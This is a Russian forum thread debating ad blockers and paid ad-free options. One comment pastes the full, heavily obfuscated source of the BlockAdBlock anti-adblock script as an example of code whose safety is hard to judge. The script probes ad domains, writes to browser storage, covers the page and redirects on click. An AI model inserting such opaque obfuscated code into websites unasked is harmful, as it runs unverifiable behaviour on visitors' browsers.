Вообще-то речь о ситуации, когда даётся выбор. Так что противоречие тут кажущееся — вы применяете мои слова к другому контексту.

Если не дают выбора «платный без рекламы» — «бесплатный с рекламой» — действую по обстоятельствам (т.е. не «безусловно режу всю рекламу»).

Если пытаются навязать платный и с рекламой — прощаюсь с таким сайтом.

Я задал вполне простой вопрос с примером.
В ЖЖ вы или смотрите рекламу или покупаете доступ без.
Вы так и не ответили что вы в этом случае делаете. Действую по обстоятельствам это покупаю подписку или ухожу с сайта или отключаю блокировщик, так? Или вариант режу рекламу потому что «забыл отключить», «мне не нравится реклама» и тд?
0
А если вы зарезали блокировщиком такое предпреждение оно считаться будет или нет?

Это означает только одно: у автора/админа сайта руки растут из тазобедренного пояса либо автор ССЗБ
0
Это означает только одно: у автора/админа сайта руки растут из тазобедренного пояса либо автор ССЗБ

Да ладно?
Я вот глянул blockadblock и думаю — сколько времени надо, что бы понять что он там делает и безопасно ли это ставить на сайт:
Исходник
<script type="text/javascript"  charset="utf-8">
// 4.2b
// Place this code snippet near the footer of your page before the close of the /body tag
// LEGAL NOTICE: The content of this website and all associated program code are protected under the Digital Millennium Copyright Act. Intentionally circumventing this code may constitute a violation of the DMCA.
                            
var _0xac90=['','replace'];function aciBttAYgQa(_0xfaecx2){return _0xfaecx2.toString()[_0xac90[1]](/^[^\/]+\/\*!?/,_0xac90[0])[_0xac90[1]](/\*\/[^\/]+$/,_0xac90[0])};var MDlmsSzTew = aciBttAYgQa(function() {/*!fwbm(gvodujpo(q,b,d,l,f,e){f=gvodujpo(d){sfuvso(d<b?'':f(qbstfJou(d/b)))+((d=d%b)>35?Tusjoh.gspnDibsDpef(d+29):d.upTusjoh(36))};jg(!''.sfqmbdf(/^/,Tusjoh)){xijmf(d--){e[f(d)]=l[d]||f(d)}l=[gvodujpo(f){sfuvso e[f]}];f=gvodujpo(){sfuvso'\\x+'};d=1};xijmf(d--){jg(l[d]){q=q.sfqmbdf(ofx SfhFyq('\\c'+f(d)+'\\c','h'),l[d])}}sfuvso q}(';r d=R.T(3h)+\'b\'+R.T(3h)+R.T(2p)+\'5n\'+R.T(5o)+R.T(5p)+\'y\';l(C.1B(d)){C.1B(d).k.1Q(\'2d\',\'32\',\'17\');C.1B(d).k.1Q(\'29\',\'2v\',\'17\');C.1B(d).k.1Q(\'1E\',\'0\',\'17\');C.1B(d).k.1Q(\'5q\',\'2v\',\'17\')};l(d){1d d};l(C.W){C.W.k.1Q(\'2d\',\'3g\',\'17\')};r Q=\'\',1w=\'5s\',y=H.V((H.U()*6)+8);1x(r j=0;j<y;j++)Q+=1w.1e(H.V(H.U()*1w.P));l(y){1d y};r 2U=8,2A=40,2Z=28,2V=5t,21=0,3y=\'3a\',3E=E(f){r p=!1,j=E(){l(C.1p){C.2M(\'2N\',u);I.2M(\'2q\',u)}O{C.2Q(\'2n\',u);I.2Q(\'1V\',u)}},u=E(){l(!p&&(C.1p||5u.2X===\'2q\'||C.2a===\'2P\')){p=!0;j();f()}};l(C.2a===\'2P\'){f()}O l(C.1p){C.1p(\'2N\',u);I.1p(\'2q\',u)}O{C.2L(\'2n\',u);I.2L(\'1V\',u);r o=!1;2g{o=I.5m==3r&&C.2i}2f(s){};l(o&&o.2I){(E b(){l(p)L;2g{o.2I(\'1n\')}2f(u){L 5v(b,50)};p=!0;j();f()})()}}};I[\'\'+Q+\'\']=(E(){r f={f$:1w+\'+/=\',5x:E(u){r b=\'\',e,o,p,d,n,m,s,j=0;u=f.u$(u);1m(j<u.P){e=u.1i(j++);o=u.1i(j++);p=u.1i(j++);d=e>>2;n=(e&3)<<4|o>>4;m=(o&15)<<2|p>>6;s=p&63;l(2J(o)){m=s=64}O l(2J(p)){s=64};b=b+1c.f$.1e(d)+1c.f$.1e(n)+1c.f$.1e(m)+1c.f$.1e(s)};L b},19:E(u){r o=\'\',e,m,d,n,j,s,b,p=0;u=u.1f(/[^B-5y-5z-9\\+\\/\\=]/h,\'\');1m(p<u.P){n=1c.f$.24(u.1e(p++));j=1c.f$.24(u.1e(p++));s=1c.f$.24(u.1e(p++));b=1c.f$.24(u.1e(p++));e=n<<2|j>>4;m=(j&15)<<4|s>>2;d=(s&3)<<6|b;o=o+R.T(e);l(s!=64){o=o+R.T(m)};l(b!=64){o=o+R.T(d)}};o=f.o$(o);L o},u$:E(f){f=f.1f(/;/h,\';\');r o=\'\';1x(r p=0;p<f.P;p++){r u=f.1i(p);l(u<1N){o+=R.T(u)}O l(u>5a&&u<5B){o+=R.T(u>>6|5C);o+=R.T(u&63|1N)}O{o+=R.T(u>>12|2G);o+=R.T(u>>6&63|1N);o+=R.T(u&63|1N)}};L o},o$:E(f){r p=\'\',u=0,o=5D=1T=0;1m(u<f.P){o=f.1i(u);l(o<1N){p+=R.T(o);u++}O l(o>5E&&o<2G){1T=f.1i(u+1);p+=R.T((o&31)<<6|1T&63);u+=2}O{1T=f.1i(u+1);2E=f.1i(u+2);p+=R.T((o&15)<<12|(1T&63)<<6|2E&63);u+=3}};L p}};r t=[\'5F\',\'5w\',\'2D==\',\'5k==\',\'58=\',\'5j=\',\'4Z\',\'4A\',\'51\',\'52==\',\'53\',\'54==\',\'55=\',\'56=\',\'4Y==\',\'57=\',\'59\',\'5b==\',\'5c==\',\'2B==\',\'2C=\',\'5d\',\'5e==\',\'5f=\',\'5g\',\'5h\',\'5i==\',\'5G\',\'5l=\',\'5H\',\'68\',\'6b=\',\'6c=\',\'6d=\',\'6e\',\'6f\',\'6g=\',\'6h=\',\'6i\',\'69\',\'6j=\',\'6l\',\'6m=\',\'6n=\',\'6o=\',\'6p=\',\'6q=\',\'6r=\',\'6s==\',\'6t==\',\'6k==\',\'67==\',\'5T=\',\'66\',\'5K\',\'5L\',\'5M\',\'5N\',\'5O\',\'5P==\',\'5Q=\',\'5R=\',\'5J=\',\'5S==\',\'5U=\',\'5V\',\'5W=\',\'5X=\',\'5Y==\',\'4W=\',\'5Z==\',\'2D==\',\'2C=\',\'5A=\',\'61\',\'62==\',\'2B==\',\'5I\',\'4X==\',\'4I=\'],Z=H.V(H.U()*t.P),g=f.19(t[Z]),q=g,Y=1,h=\'#4V\',j=\'#3W\',w=\'#3V\',A=\'#3U\',G=\'\',i=\'3Q!\',v=\'3M 45 43 41\\\'3P 4g 42 2O 2T. 44\\\'t 46.  3A 4h\\\'u?\',a=\'47 49 4b-4c, 4d 4e\\\'u 4f 3Y 1c 48 3Z.\',x=\'J 3X, J 3J 3K 3L 2O 2T.  3N 3O 3D!\',o=0,X=0,p=\'3R.3S\',n=0,N=u()+\'.37\',c=E(f,u,p){r o=C.1l(\'35\');o.1S=f;o.1V=u;o.2n=u;o.1p(\'3T\',u);p.1j(o)},S=E(){};E z(f){l(f)f=f.2b(f.P-15);r p=C.3d(\'35\');1x(r o=p.P;o--;){r u=R(p[o].1S);l(u)u=u.2b(u.P-15);l(u===f)L!0};L!1};E D(f){l(f)f=f.2b(f.P-15);r u=C.4j;y=0;1m(y<u.P){1a=u[y].27;l(1a)1a=1a.2b(1a.P-15);l(1a===f)L!0;y++};L!1};E u(f){r o=\'\',p=1w;f=f||30;1x(r u=0;u<f;u++)o+=p.1e(H.V(H.U()*p.P));L o};E s(o){r s=[\'4D\',\'4F==\',\'4G\',\'4H\',\'3e\',\'4J==\',\'4K==\',\'4L=\',\'4E==\',\'4M==\',\'4O\',\'3e\'],j=[\'3b=\',\'4Q==\',\'4R==\',\'4S==\',\'4T=\',\'4U\',\'4N=\',\'4C=\',\'3b=\',\'4t\',\'4B==\',\'4l\',\'4m==\',\'4n==\',\'4o==\',\'4p=\'];y=0;1Y=[];1m(y<o){d=s[H.V(H.U()*s.P)];e=j[H.V(H.U()*j.P)];d=f.19(d);e=f.19(e);r b=H.V(H.U()*2)+1;l(b==1){p=\'//\'+d+\'/\'+e}O{p=\'//\'+d+\'/\'+u(H.V(H.U()*20)+4)+\'.37\'};1Y[y]=2t 2o();1Y[y].2z=E(){r f=1;1m(f<7){f++}};1Y[y].1S=p;y++}};E m(f,u){r p=\'\';1x(r s=0;s<f.P;s++){r o=f.1i(s);l(2p<=o&&o<4r){p+=R.T((o-u+7)%26+2p)}O l(65<=o&&o<4k){p+=R.T((o-u+13)%26+65)}O{p+=R.T(o)}};L p};E b(f){f=f.1f(/{/h,\'\');f=f.1f(/}/h,\'\');f=f.1f(/|/h,\'\');f=f.1f(/~/h,\'\');L f};E M(f){};L{4u:E(f,u){f=f%u;L H.4v(f)},2h:E(f,o){l(4w C.W==\'3G\'){L};r s=\'0.1\',o=q,u=C.1l(\'1C\');u.1k=o;u.k.1s=\'1Z\';u.k.1n=\'-1t\';u.k.1g=\'-1t\';u.k.1o=\'2y\';u.k.1b=\'6v\';r e=C.W.36,b=H.V(e.P/2);l(b>15){r p=C.1l(\'2r\');p.k.1s=\'1Z\';p.k.1o=\'1P\';p.k.1b=\'1P\';p.k.1g=\'-1t\';p.k.1n=\'-1t\';C.W.4x(p,C.W.36[b]);p.1j(u);r j=C.1l(\'1C\');j.1k=\'33\';j.k.1s=\'1Z\';j.k.1n=\'-1t\';j.k.1g=\'-1t\';C.W.1j(j)}O{u.1k=\'33\';C.W.1j(u)};n=6u(E(){l(u){f((u.2k==0),s);f((u.2l==0),s);f((u.29==\'32\'),s);f((u.2d==\'2v\'),s);f((u.1E==0),s)}O{f(!0,s)}},2m)},73:E(f,u){f=f%u;f=f++;L H.8e(f)},8f:E(f,u){f=f-u;f=f-1;L H.8g(f)},1J:E(u,e){l((u)&&(o==0)){o=1;I[\'\'+Q+\'\'].1r()}O{l(I[\'\'+Q+\'\']){l(!I[\'\'+Q+\'\'].2w){r x=f.19(\'8h\'),Z=C.8i(x);l((Z)&&(o==0)){l((2A%3)==0){r n=\'8j=\';n=f.19(n);l(z(n)){l(Z.1A.1f(/\\t/h,\'\').P==0){o=1;I[\'\'+Q+\'\'].1r()}};l(n){1d n}}}}};r a=!1;l(o==0){l((2Z%3)==0){l(!I[\'\'+Q+\'\'].2w){r i=[\'8d==\',\'8k==\',\'8m=\',\'8n=\',\'8o=\'],w=14,q=i.P,j=i[H.V(H.U()*q)],p=j;1m(j==p){p=i[H.V(H.U()*q)]};j=b(j);j=m(j,w);j=f.19(j);p=b(p);p=m(p,w);p=f.19(p);l(i){1d i};r t=2t 2o(),h=2t 2o();t.2z=E(){s(H.V(H.U()*2)+1);h.1S=p;l(p){1d p};s(H.V(H.U()*2)+1)};h.2z=E(){o=1;s(H.V(H.U()*3)+1);I[\'\'+Q+\'\'].1r()};t.1S=j;l(j){1d j};l((2V%3)==0){t.1V=E(){l((t.1b<8)&&(t.1b>0)){I[\'\'+Q+\'\'].1r()}}};r X=[\'8r/8l=\',\'8t\',\'7W=\',\'89=\',\'88/87\',\'86=\',\'85\'],A=[\'84==\',\'83=\',\'82=\',\'81\'],v=X.P,d=X[H.V(H.U()*v)],v=A.P,g=A[H.V(H.U()*v)];d=f.19(d);g=f.19(g);d=d.1f(\'80.7A\',g);d=\'//\'+d;I[\'1D\']=0;r y=E(){l((1D>0)&&(1D%39==0)){}O{I[\'\'+Q+\'\'].1r();l(1D){1d 1D}}};c(d,y,C.W);I[\'\'+Q+\'\'].2w=!0};I[\'\'+Q+\'\'].1J=E(){L}}}}},1r:E(){l(I[\'\'+Q+\'\'].1J){1d I[\'\'+Q+\'\'].1J};l(I[\'\'+Q+\'\'].2h){1d I[\'\'+Q+\'\'].2h};l(X==1){r D=2s.3p(\'2u\');l(D>0){L!0}O{2s.23(\'2u\',(H.U()+1)*2m)}};r d=\'7Y\';d=f.19(d);r G=C.2R||C.3d(\'2R\')[0],e=C.1l(\'k\');e.2X=\'1y/8s\';l(e.2Y){e.2Y.1h=d}O{e.1j(C.8c(d))};G.1j(e);8K(n);C.W.1A=\'\';C.W.k.1h+=\'16:1P !17\';C.W.k.1h+=\'1L:1P !17\';r N=C.2i.2l||I.2W||C.W.2l,g=I.8N||C.W.2k||C.2i.2k,b=C.1l(\'1C\'),q=u();b.1k=q;b.k.1s=\'2F\';b.k.1n=\'0\';b.k.1g=\'0\';b.k.1b=N+\'1U\';b.k.1o=g+\'1U\';b.k.2H=h;b.k.2j=\'8v\';C.W.1j(b);r m=\'<b 27="8F://8E.8D/6w;"><3c 1k="2S" 1b="34" 1o="40"><38 1k="3f" 1b="34" 1o="40" 8B:27="8a:38/8z;8y,8u+8H+8O+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+K+8x+8w+8I/8J/8L/8G/8b/7V+/7d/7T+6T/6U+6V/6W/6X/6Y/6Z/6A/6S+70/72+7U+74+75+76+77/78+79/71+6Q/6G+6P+6y+6z+6a/6B+6C/6D/6E/6x+6F+6H/6I+6J+6K+6L+F+6M/6N/6O/7b/6R/7c/+7z/7B++7C/7D/7E+7F/7G+7H+7I==">;</3c></b>\';m=m.1f(\'2S\',u());m=m.1f(\'3f\',u());r s=C.1l(\'1C\');s.1A=m;s.k.1s=\'1Z\';s.k.1H=\'1X\';s.k.1n=\'1X\';s.k.1b=\'7M\';s.k.1o=\'7N\';s.k.2j=\'2K\';s.k.1E=\'.6\';s.k.3v=\'3o\';s.1p(\'7P\',E(){p=p.7Q(\'\').7R().7S(\'\');I.3z.27=\'//\'+p});C.1B(q).1j(s);r o=C.1l(\'1C\'),S=u();o.1k=S;o.k.1s=\'2F\';o.k.1g=g/7+\'1U\';o.k.7y=N-7o+\'1U\';o.k.7x=g/3.5+\'1U\';o.k.2H=\'#7g\';o.k.2j=\'2K\';o.k.1h+=\'11-1G: "7i 7j", 1O, 1M, 1R-1F !17\';o.k.1h+=\'7k-1o: 7l !17\';o.k.1h+=\'11-1z: 7m !17\';o.k.1h+=\'1y-1K: 1I !17\';o.k.1h+=\'1L: 7e !17\';o.k.29+=\'3t\';o.k.3H=\'1X\';o.k.7n=\'1X\';o.k.7p=\'3i\';C.W.1j(o);o.k.7r=\'1P 7s 7t -7u 7v(0,0,0,0.3)\';o.k.2d=\'3g\';r z=30,c=22,y=18,Z=18;l((I.2W<3I)||(4i.1b<3I)){o.k.3B=\'50%\';o.k.1h+=\'11-1z: 7w !17\';o.k.3H=\'7q;\';s.k.3B=\'65%\';r z=22,c=18,y=12,Z=12};o.1A=\'<3j k="1u:#7h;11-1z:\'+z+\'1W;1u:\'+j+\';11-1G:1O, 1M, 1R-1F;11-2c:7f;16-1g:1q;16-1H:1q;1y-1K:1I;">\'+i+\'</3j><3q k="11-1z:\'+c+\'1W;11-2c:7K;11-1G:1O, 1M, 1R-1F;1u:\'+j+\';16-1g:1q;16-1H:1q;1y-1K:1I;">\'+v+\'</3q><7O k=" 29: 3t;16-1g: 0.3u;16-1H: 0.3u;16-1n: 2x;16-3n: 2x; 3w:7L 7J #7a; 1b: 25%;1y-1K:1I;"><q k="11-1G:1O, 1M, 1R-1F;11-2c:3x;11-1z:\'+y+\'1W;1u:\'+j+\';1y-1K:1I;">\'+a+\'</q><q k="16-1g:8C;"><2r 8M="1c.k.1E=.9;" 8P="1c.k.1E=1;"  1k="\'+u()+\'" k="3v:3o;11-1z:\'+Z+\'1W;11-1G:1O, 1M, 1R-1F; 11-2c:3x;3w-7X:3i;1L:1q;7Z-1u:\'+w+\';1u:\'+A+\';1L-1n:2y;1L-3n:2y;1b:60%;16:2x;16-1g:1q;16-1H:1q;" 8q="I.3z.8p();">\'+x+\'</2r></q>\';I[\'\'+Q+\'\']=3G;2g{1d I[\'\'+Q+\'\']}2f(t){}}}})();I.3F=E(f,u){r o=4a.4z,p=I.4y,b=o(),s,j=E(){o()-b<u?s||p(j):f()};p(j);L{4s:E(){s=1}}};r 3C;3E(E(){E e(){2g{L\'1v\'3D I&&I[\'1v\']!==3r}2f(f){L!1}};E m(){r o=f(10),u=f(10);p(o,u);r s=j(o);l(s==u){L!0}O{L!1}};E p(f,u){l(u==\'\'){1v.4q(f)}O{3k=u;1v.23(f,3k)}};E j(f){2e=1v.3p(f);l(2e){};l(2e){L 2e}O{L\'3s\'}};E f(f){r o=\'\',p=1w;f=f||30;1x(r u=0;u<f;u++)o+=p.1e(H.V(H.U()*p.P));L o};E d(f,u){L H.V(H.U()*(u-f)+f)};r b=0,o=\'4P\';l(3y!=\'3a\'){l(e()){l(m()){r u=j(o);l(u==\'3s\'){p(o,f(21));u=f(21);r s=1,n=\'\';1m(s<30){3m=f(10);3l=f(d(0,9));1v.23(3m,3l);s++};1d s}O{};u=u.P;u--;l(u>0){p(o,f(u));L!0}O{l(b==1){p(o,f(21));2s.23(\'2u\',0)}}}O{}}O{}};3C=I.3F(E(){I[\'\'+Q+\'\'].2h(I[\'\'+Q+\'\'].1J,I[\'\'+Q+\'\'].5r)},2U*2m)});',62,547,'|||||||||||||||||||tuzmf|jg||||||wbs|||||||||||epdvnfou||gvodujpo|||Nbui|xjoepx||ws6|sfuvso|||fmtf|mfohui|AaIoYQAhGijt|Tusjoh||gspnDibsDpef|sboepn|gmpps|cpez||||||gpou|||||nbshjo|jnqpsubou||efdpef|xjeui|uijt|efmfuf|dibsBu|sfqmbdf|upq|dttUfyu|dibsDpefBu|bqqfoeDijme|je|dsfbufFmfnfou|xijmf|mfgu|ifjhiu|beeFwfouMjtufofs|10qy|VqHDDEsD|qptjujpo|5000qy|dpmps|mpdbmTupsbhf|eFryohMwO|gps|ufyu|tjaf|uijtvsm|hfuFmfnfouCzJe|EJW|oI7fYaPtH|pqbdjuz|tfsjg|gbnjmz|cpuupn|dfoufs|mqygGKQdA|bmjho|qbeejoh|hfofwb|128|Ifmwfujdb|0qy|tfuQspqfsuz|tbot|tsd|d2|qy|pompbe|qu|30qy|UMjlLhlKClGI|bctpmvuf|joofsIUNM||dOnoXvqWw||tfuJufn|joefyPg|||isfg||ejtqmbz|tvctus|xfjhiu|wjtjcjmjuz|hpu|dbudi|usz|aRQTVYdf|epdvnfouFmfnfou|aJoefy|dmjfouIfjhiu|dmjfouXjeui|1000|posfbeztubufdibohf|Jnbhf|97|mpbe|ejw|tfttjpoTupsbhf|ofx|hiBsqPitLr|opof|nCZaQzcuLr|bvup|60qy|pofssps|sfbezTubuf|ZXSaAX5aAR|ZXSaAYK2AYJ|ZXSgZ2iicn5mcB|d3|gjyfe|224|cbdlhspvoeDpmps|epTdspmm|jtObO|10000|buubdiFwfou|sfnpwfFwfouMjtufofs|EPNDpoufouMpbefe|be|dpnqmfuf|efubdiFwfou|ifbe|GJMMWFDUJE1|cmpdlfs|XpEzShRuRPdU|aTcxWguC|joofsXjeui|uzqf|tuzmfTiffu|UpmibFCrLb|HgKnbmkjdZcr|||ijeefo|cboofs_be|160|tdsjqu|dijmeOpeft|kqh|jnbhf||AnG2bXOwcj5qZ28|twh|hfuFmfnfoutCzUbhObnf|dHGzeH5mdnGldz55d20vfXGpc28vZ29u|GJMMWFDUJE2|wjtjcmf|98|15qy|i3|ofxwbmvf|yy|aa|sjhiu|qpjoufs|hfuJufn|i1|ovmm|oo|cmpdl|5fn|dvstps|cpsefs|300|ypWJxWoYnZY|mpdbujpo|op|appn|QUpFSYKpNuur|jo|LgENgBKuejl|ZEcNGVDXi|voefgjofe|nbshjoMfgu|640|ibwf|ejtbcmfe|nz|Ju|Mfu|nf|sf|Xfmdpnf|npd|ldpmcebldpmc|fssps|GGGGGG|bec8gg|777777|voefstuboe|nbljoh|bxftpnf|Xip||zpv|bo|mjlf|Uibu|mpplt|plbz|Cvu|tjuf|xjuipvu|bewfsujtjoh|jodpnf|xf|dbo|lffq|vtjoh|epfto|tdsffo|tuzmfTiffut|91|AnG2bXOwckFvbXOw|ZnGvcnWzY2GlMneqAh|cHGzA2WgZnGvcnWzMneqAh|e2mlAW9ab3maZ3KidHWzMnqxAx|ZXS2AYK0bYOmcXWveD0aOENzNz5rdHd|sfnpwfJufn|123|dmfbs|ZXRucHGzA2VvdH5o|BratBGEW|bct|uzqfpg|jotfsuCfgpsf|sfrvftuBojnbujpoGsbnf|opx|Ebuf|d3G1ZYKmMXGlMoCvAx|R0SPMUNaOD0yNEluNUN3fD1iAD1jZX5vAYJ|ZXSvMnWjZYlvZ29u|dIKwcX90AT5xZXmzMnOwcR|ZXRvcXGqcD5zeR|boWqZ3miAINvZ29u|ZXRvAn94cnW0e29zb3NvZ29u|d3CwcoOwdnWlY2yqcnt|ZT5tbYAmd3CwdoSuAXSqZT5meR|ZXS2AYK0bYOqcndvZX9tMnOwcR|Z2GaMnOtbXOsZXKqcHm0fT5kc20|ZXSaMomibH9wMnOwcR|ZXSkcHmmcoRuNEBzNUR3MXiwd3RyMXKicn5mdj1iAD5rdHd|ZYNvbX5jc3hvZ29u|yRvVMBooN|ZnGvcnWzMnqxAx|OEZ4fEZxMnqxAx|OaJxfElxMnqxAx|d2u5d2OzZYCmdj5rdHd|NUN2O19iAD1kcHmmcoSKSEJ0OkRvboCo|FFFFFF|ZnGvcnWzZXR|c3W0ZoKibX4udHGqAB|ZXSxc3C1dB|ZXSgOaJ4|ZXSgNaBx||ZXSgNUJx|ZXSgZYKmZR|ZXSgAn9weHWz|ZXSndnGuAR|ZXSpAXGlAYJ|ZXSqAoKicXV|ZXSaMUF|ZXSgd3CiZ2V|ZXSaMUBy|ZXSaMXKicn5mdh|ZXSaMXAwc3Smdh|ZXSabXSmZnGz|ZXSadHGkAR|ZXSadYWidnV|ZnGvcnWzOEZ4|ZnGvcnWzOaJ4fElx|ZXRucHWneB|ZXSaY3S5dHV|ZXSgd2yweB|ZXRuAoKicXV|gsbnfFmfnfou|tcn|115|103|bojnbujpo|rnpTMzQZKfx|BCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnopqrstuvwxyza0123456789|133|fwfou|tfuUjnfpvu|ZXSgZnmo|fodpef|Ab|a0|127|2048|192|d1|191|ZXSgZn94|ZXSDZX5vAYKYdnGx|ZXRubHWiAHWz|A29wA2ymY2Gl|RXSEc250ZXmvAYJ|SHm2RXRz|SHm2RXRa|SHm2RXSC|SHm2RXSD|SHm2RXSE|RXSKcXGoAR|RXSFbYZ|RXSDc3hyOkB|A2yqcnuae3KidICmdh|SHm2RXR|ZXSVAXGaAYJ|ZnGvcnWzY2Gl|ZXSDZX5vAYJ|ZXSjZX5vAYJ|ZXSCAB|JHGlY2KwfB|ZnGvcnWzbXR||ZXSacH90|dH9xeYCiAB||||SHm2RXRy|RXSaY2ewc2etAW8xOB|ZXRubX1o|RXRaNEC4NkVx|ZXRubX5vAYJ|ZXRucHGjAXx|ZXRucHJ|ZXRuAn9weHWz|ZXRuZ29veHGqcnWz|ZXRuZ29veHGqcnWzMUF|ZXRuZ29veHGqcnWzMUJ|RXRaNEC4NUR1|RXR3Nki4PUB|RXSaY2ewc2etAW8xNx|RXSCdnWi|RXSHdnGuAUF|RXSHdnGuAUJ|RXSHdnGuAUN|RXSHdnGuAUR|RXSNZYmmdkF|RXSNZYmmdkJ|RXSaY2ewc2etAW8xNR|RXSaY2ewc2etAW8xNh|tfuJoufswbm|468qy|2BrnOza|y0a6ubvRZwQyxU0WN1mI9Beu5Mq|i0HtPDt9VxQ2yp6|VjnBzoh9VfQvsqwN8XnBetwj6hOxCNiQsQrfnpYzxAt8rM9KAzcirG6MACAKOBOnZtPTbCUlTrdqoDGFlouZkuSFGmBUFuhyeERmggiT3eeEBagccIZQVEHKqHU|VBEWhwyICaQ9MVvgrREuW|vJ70xPthGXVRDgAD1VJ0Fuupi66E|taTeBuLuxlSSOoDJjEaOad0SP|lnMcLntF|qzRMjCv8XEZhyFANcfFrJjTN8s|G2R|J1UqP7DoCAP|cUqmic|F5ImRT6TIwWTV0W|k9yKWCFFcXFYGWAROY9|1IY6hilBS9F5dsUhN|0u6rkJmAcaTqfnj|NkB3YKVLz|TSXiOtnPbawLaRZdF0iW5oElvRRLgVhn4InrB2zvQygNV1n4aMSUNBrMiO6CIDfFYNEp2OtZ8NeDfCC6KzeNmqt3vHyAfgz7FP1wzQwiPyM7UQXkWVWwAlOK|DHg7TBQ2W6BkUPVb8JaE3dlrf2FOHvmXHgy9WLJCC72KN1mBvMLC3ubPODCo3QZ0JJ5dGsMs7dDq|RdXsVSIKTMscCOByAUIchTDtIYKlnCyjtNwFsGWdhF|jrLkpSBFEmA4tpMiyThdz6hihPz7FfD2QJ4EIc7qP7nSxUCzw5iHyG|COzFOjGHf5DyhAzJU6LWzHP2t5K5df|0jewhcsEfCidL|dJb9A8JlHZb9PHYQKEn5SoNY5qjn7ZuUMC24cuVLnLoAfXtXqhIoaJQ5VvdwOpEsm8HVsWzVCN4yrR|JTxJa5wgRzEG3Y|NhaOGbDWzIWJPOcy1FEsuDau6aNFHaGaGxGAK19kqKz2ry5CdnzCN|pHLnX8EBGfEPygPKN4EdoUZsuU7eiAmuUX7PYIC1DmFXlQP0KnhFN1qfct5DdB2VDUT6RzINbFuzd3MBmXdEkASfzMqLAT9vU02086wv0uKb|Moy0uJMNLq3vwyJ61jZI33Rr3N24l|WPQfm7SJefJClep|IZ9XBaqAMTTDORsAcHP1o4W4i9vEQ7SUjJJzbGRpjsgyDgujiu4tL8LfLrQi34E2T7UtSPISjzNsBysuOnt9I5Rbx9PcV1I4Xew8a0K8pcwPp|xe4LBolncbfQtqB|FvK0HuMVkWguwxFZrnbS66KY9Bqbq6dDzLijW|CLqybrmBPwDrCkaUGBq2OGveK5qbfmT5UcxuCmBwOhFefFHJ6P6KVu42OivwaAwkYUIyxjbCYVJNoBLb5Qr9TM3ho1LBPFlhIWXCJNV14ECG2PI3LPgRqH2pTRqLZBFeL0NHdEh1ycePXz|SVJsxHl|FDPaLIzTb|DYSUURbxWphcLfEFt2it4NuKdOWUZ2LhdmxI2wZPEGUb4GR|1GNaAJHRS3IXK4G1UrXuPbBEr0A9juWAsh1T6KMj7C1NBuVDY1yOC0Z0pM9iqL4|ZcVNOWkrHzTxsSVHtMv6|vXE20MtOJEeRvu4MYB|LnTy|0ohb14RK3HPXrEnPxKhSpTnf8PPiBRrjViQNcVHltDk5Mub4DcfGiY9OO0Uqoz|VJXseWQFq7aIz7pXYjVhnS3levkcAJ73lhiUbpbFLNPi8vq2N8CWdfpue|14YP7dS5XW1RCfeu3d|c29wmwc2yo5|12qy|200|ggg|999|Bsjbm|Cmbdl|mjof|opsnbm|16qu|nbshjoSjhiu|120|cpsefsSbejvt|45qy|cpyTibepx|14qy|24qy|8qy|shcb|18qu|njoIfjhiu|njoXjeui|RiAMZMO54|DDD|f8ys8o5mqYzo|v3U9BcEkYxJNYgyntbsxL9xVCC5Lk8z2eDx|Lr8c7n0SqxbtoS|vKzmV|eFgmrY6haD4ie1kTha0vknQlzhEkwOZEtV0AhhkLCrMQsRMgEVRJayNCuTPvdSxMaseR2EGP0OEeotZr0zpKzFC0GIUCIfgzydzVz8kgmI7tItaTghbui4iZxdE3N29J5ENaeCOP2JGdD5z6ITevpg4H5eRONXe4dEdkOOfOHnc02|Vw0MgQamtCFMA|3fVfvBUSbONt0agnm|hlKpdhGuagNaxBBBBCKSV5FslKhhh|tpmje|500|1qy|160qy|40qy|is|dmjdl|tqmju|sfwfstf|kpjo|fkJabcX26TlrhNEB7ICzSBBEpN7lkBBBBJoSTUmN6BDU4yilQuZ5jOjBJ9QMw6esTqrHZdmqN5cfohlR8OEBotHjHNxBBCfuKSFGVXNQO2HeUF1FZinGR7M339sxohW2JjSKOJHBh1TRlGBIqhoRqLoACBYwwwYg9nc5otyvUrEO|reXz60L14l|w7|fXGacnlvZXSvAYSid2miMnOwcT9lAYOqA24wdnWtZYWvZ2hwA2A4M2WtbYSmdHGzeH5mdm8|sbejvt|bISucIukc2ywdkpkNEBxP2KiZ2uodn91cnR6J2AnAo1jc2S5MHSqejylcDyleDylADy1cDywcDytbTypNTypNjypNzypODypOTypOjyxdnVtZ29lATync3KuMHAqAXyld2W0MHymA2WvADyqcoC1eDy0AYi0ZYKmZTyxMHKtc2OsdYWweHVteHhteHS7cXGzA2mvPkB7dHGlAHmvAapxgYSiZnymf2KwdnSmdj1kc2ytZYCaAUqkc2ytZYCaAUujc3KlAYJud3CiZ2mvAapxgXAqAXyld2W0MHmuA3ujc3KlAYJ6NI1iAHSzAYOaMHOidISqc24tZ2m0ATykc2SmMHSncjymcTyaeIKwcndteHhtenGzf2AwcoRud3S5cHV6cn9zcXGtP2AwcoRue2WqA2i0Pn5wdn1icI1wcDy1cIutbYO0MYO0fXymPn5wcnW9Z2GxeHmwcjy0bIu0AYi0MXGtbXevPnymAoS9bEFtbEJtbENtbERtbEVtbEA7An9veD1abYqmPkFxNDV7An9veD13AXmobIR6cn9zcXGtgYF6ZnWnc3KmMIF6ZXA0AYK7Z29veHWveEpjJo1iZnKzMHGkdn9vfX17Zn9zAHWzPkB7An9veD12ZYKqZX50Pn5wdn1icI1aeYC7enWzeHmkZXxuZXyqA246eHW4eD10c3C9d3Wjf3AmdoSqZ2GtMXGtbXevPoSmfIRuZn90eH9ugXmvdIW0MISmfISidnWiMIOmcHWkeIunc250MXAicXmtfUqqcnimdnm0P2AwcoRud2m6AUqqcnimdnm0P2AwcoRue2WqA2i0PnmvbHWzbYR7LnAwcoRud2m6AUpyNEBmgXymA2WvAIukc2ywdkpkNEBxgTO5eXlaMXOadz1aeHGudD5kd3OzAYOmeIulbYOxcHG5Pn5wcnW9|cbdlhspvoe|dpn|beofubtjb|ZnGvcnWzeIKiZ2tvcnW0|ZXS0dnGkb2Wzdz5vAYR|ZXSkcHm4fD5vAYR|ZXSvAYSid2miMnOwcR|eH9zdnWveIpvZXSvAYSid2miMnOwcT9uA2mlM2GlMnqa|Z3K1cnOpfYKwcHxvZXSvAYSid2miMnOwcT92ZYO0Q2AoQUN|AE0y|d2WzenVvZXSvAYSid2miMnOwcT9xdn9uc2ywZXR|c3huAD5